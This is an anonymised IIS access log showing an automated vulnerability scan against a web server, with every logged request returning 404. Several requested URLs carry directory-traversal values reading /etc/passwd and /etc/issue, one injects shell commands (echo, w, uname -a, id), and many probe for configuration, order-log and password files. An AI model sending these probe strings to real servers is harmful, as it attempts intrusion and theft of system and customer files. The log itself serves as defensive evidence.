www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/snippets/gettempdirectory.cfm - 404 3 3396 79 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /IISSamples/ExAir/search/search.asp |-|0|404_Object_Not_Found 404 0 3555 77 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/email/application.cfm - 404 3 3396 82 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/examples/parks/detail.cfm - 404 3 3396 75 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/publish/admin/addcontent.cfm - 404 3 3396 89 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/docs/sourcewindow.cfm - 404 3 3396 82 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/examples/cvbeans/beaninfo.cfm - 404 3 3396 79 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/email/getfile.cfm - 404 3 3396 78 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/udirectory.pl MAIN_FIELD=blah&command=add_new_listing&category_file=/../../../../../../../ bin/ps 404 3 3396 147 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/examples/httpclient/mainframeset.cfm - 404 3 3396 86 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/mailnews.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ezshopper2/loadpage.cgi - 404 3 3396 74 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/repost.asp |-|0|404_Object_Not_Found 404 0 3555 61 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /IISSamples/ExAir/search/advsearch.asp |-|0|404_Object_Not_Found 404 0 3555 80 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Samples/Knowledge/Search/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 86 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:23 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ezshopper3/loadpage.cgi - 404 3 3396 74 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /mall_log_files/order.log - 404 3 3396 67 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/quikstore.cfg - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/formmail.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /quikstore.cfg - 404 2 3396 31 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /orders/mountain.cfg - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /orders/orders.txt - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Admin_files/order.log - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/smtpscan.dll - 404 3 3396 48 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/convert.bas - 404 3 3396 37 10 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/journal.cgi folder=journal.cgi%00 404 3 3396 59 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /database.nsf/ - 404 2 3396 31 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/issamples/query.asp |-|0|404_Object_Not_Found 404 0 3555 48 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/majordomo.pl - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/rb.dll - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /~nobody/etc/ - 404 3 3396 30 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/meta.pl - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/samples/ - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /viewsource/template.html - 404 3 3396 42 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /pccsmysqladm/incs/dbconnect.inc - 404 3 3396 49 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/Samples/SELECTOR/showcode.asp |-|0|404_Object_Not_Found 404 0 3555 53 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /mlog.html screen=/etc/passwd 404 2 3396 46 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/netauth.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /admin-serv/admpw - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/news.cgi - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /PSUser/PSCOErrPage.htm - 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cp/rac/nsManager.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/counterfiglet/nc/f=;echo;w;uname+-a;id - 404 3 3396 66 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/anacondaclip.pl template=../../../../../../../../../../../../../../../../../../etc/passwd 404 3 3396 115 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ustorekeeper.pl command=goto&file=../../../../../../../../../../etc/passwd 404 3 3396 100 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/repost.asp |-|0|404_Object_Not_Found 404 0 3555 36 10 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websync.exe ed=&Es=7x1x101&un=nahual&hn=lab&rpt=/scheduler/En_US/WebResources& cbn=/cgi-bin/websync.exe&dow=sun&dmy=Off&tfh=Off&lan=En_US&ix=0&amd=2&epw=WiXwWFp& mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101&tzs=PST8PDT 404 3 3396 233 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK - 404 3 3396 76 0 HTTP/1.0 - - - - 2008-07-29 09:07:25 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Samples/Knowledge/Push/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 59 10 HTTP/1.0 - - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/quikstore.cfg - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /config.inc - 404 2 3396 28 0 HTTP/1.0 - - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cal_make.pl p0=../../../../../../../../../../../../etc/passwd%00 404 3 3396 90 0 HTTP/1.0 - - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /quote.html filename=../../../../../../../../../../../../../../../../etc/issue&path_to_font_file=ariali.ttf 404 2 3396 124 0 HTTP/1.0 - - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /quikstore.cfg - 404 2 3396 56 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /roads/cgi/search.pl - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /orders/mountain.cfg - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /orders/orders.txt - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /allmanage.pl - 404 2 3396 30 0 HTTP/1.0 - - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/apexec.pl - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Admin_files/order.log - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/smtpscan.dll - 404 3 3396 73 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/convert.bas - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /database.nsf/ - 404 2 3396 56 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/journal.cgi folder=journal.cgi%00 404 3 3396 84 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/rb.dll - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /~nobody/etc/ - 404 3 3396 55 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/meta.pl - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/samples/ - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /viewsource/template.html - 404 3 3396 67 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/issamples/query.asp |-|0|404_Object_Not_Found 404 0 3555 73 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /pccsmysqladm/incs/dbconnect.inc - 404 3 3396 74 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /msadc/Samples/SELECTOR/showcode.asp |-|0|404_Object_Not_Found 404 0 3555 78 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /mlog.html screen=/etc/passwd 404 2 3396 71 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /PSUser/PSCOErrPage.htm - 404 3 3396 65 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/counterfiglet/nc/f=;echo;w;uname+-a;id - 404 3 3396 91 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/anacondaclip.pl template=../../../../../../../../../../../../../../../../../../etc/passwd 404 3 3396 140 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/netauth.cgi - 404 3 3396 62 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /admin-serv/admpw - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cp/rac/nsManager.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ustorekeeper.pl command=goto&file=../../../../../../../../../../etc/passwd 404 3 3396 125 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ncommerce3/ExecMacro/macro.d2w/NOEXISTINGHTMLBLOCK - 404 3 3396 101 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/repost.asp |-|0|404_Object_Not_Found 404 0 3555 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:26 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Samples/Knowledge/Push/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 84 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /search97.vts - 404 2 3396 55 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/phf - 404 3 3396 54 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/sendtemp.pl - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/shop.cgi - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /config.inc - 404 2 3396 53 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /site/eg/source.asp |-|0|404_Object_Not_Found 404 0 3555 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cal_make.pl p0=../../../../../../../../../../../../etc/passwd%00 404 3 3396 115 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /quote.html filename=../../../../../../../../../../../../../../../../etc/issue&path_to_font_file=ariali.ttf 404 2 3396 149 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/adduser.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/AT-generate.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /roads/cgi/search.pl - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-ack.sh - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/whois_raw.cgi - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /allmanage.pl - 404 2 3396 55 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/getdoc.cgi - 404 3 3396 36 10 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-winuploader.exe - 404 2 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/HttpSaveCVP.dll - 404 3 3396 51 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /officescan/cgi/jdkRqNotify.exe - 404 3 3396 48 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/calender.pl - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Admin_files/ - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cart32.exe - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/clickresponder.pl - 404 3 3396 43 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/robpoll.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /nonexistant.pl - 404 2 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /config/html/cnf_gi.htm - 404 3 3396 43 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /code.php3 index.shtml 404 2 3396 39 10 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/displayopenedfile.cfm - 404 3 3396 54 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/exprcalc.cfm - 404 3 3396 45 10 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /main.asp - 404 2 3396 29 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /iissamples/exair/howitworks/codebrws.asp |-|0|404_Object_Not_Found 404 0 3555 58 10 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/openfile.cfm - 404 3 3396 45 10 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/sawmill - 404 3 3396 33 11 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/ - 404 2 3396 26 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /search.dll search?query=%00&logic=AND 404 2 3396 55 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /sensepost.exe /c+dir 404 2 3396 60 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/db.cgi - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webmail.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ncommerce3/ExecMacro/macro.d2w/ - 404 3 3396 63 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /showfile.asp |-|0|404_Object_Not_Found 404 0 3555 30 0 HTTP/1.0 - - - - 2008-07-29 09:07:27 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp |-|0|404_Object_Not_Found 404 0 3555 82 10 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /_vti_bin/shtml.dll - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /siteman000510/siteman.php3 A=U&D= 404 3 3396 51 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ssi/ - 404 3 3396 30 10 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/DCFORMS98.CGI - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /site/eg/source.asp |-|0|404_Object_Not_Found 404 0 3555 61 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /doc/packages/ - 404 3 3396 31 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/adduser.cgi - 404 3 3396 62 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/AT-generate.cgi - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/test.bat - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /ultraboard.pl - 404 2 3396 31 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/bb-ack.sh - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /includes/global.inc - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/whois_raw.cgi - 404 3 3396 64 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/getdoc.cgi - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/uploadn.asp |-|0|404_Object_Not_Found 404 0 3555 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /scripts/passwd.txt+.pl - 404 3 3396 42 0 HTTP/1.0 - - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /interscan/cgi-bin/HttpSaveCVP.dll - 404 3 3396 76 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/calender.pl - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Admin_files/ - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cart32.exe - 404 3 3396 61 0 HTTP/1.0 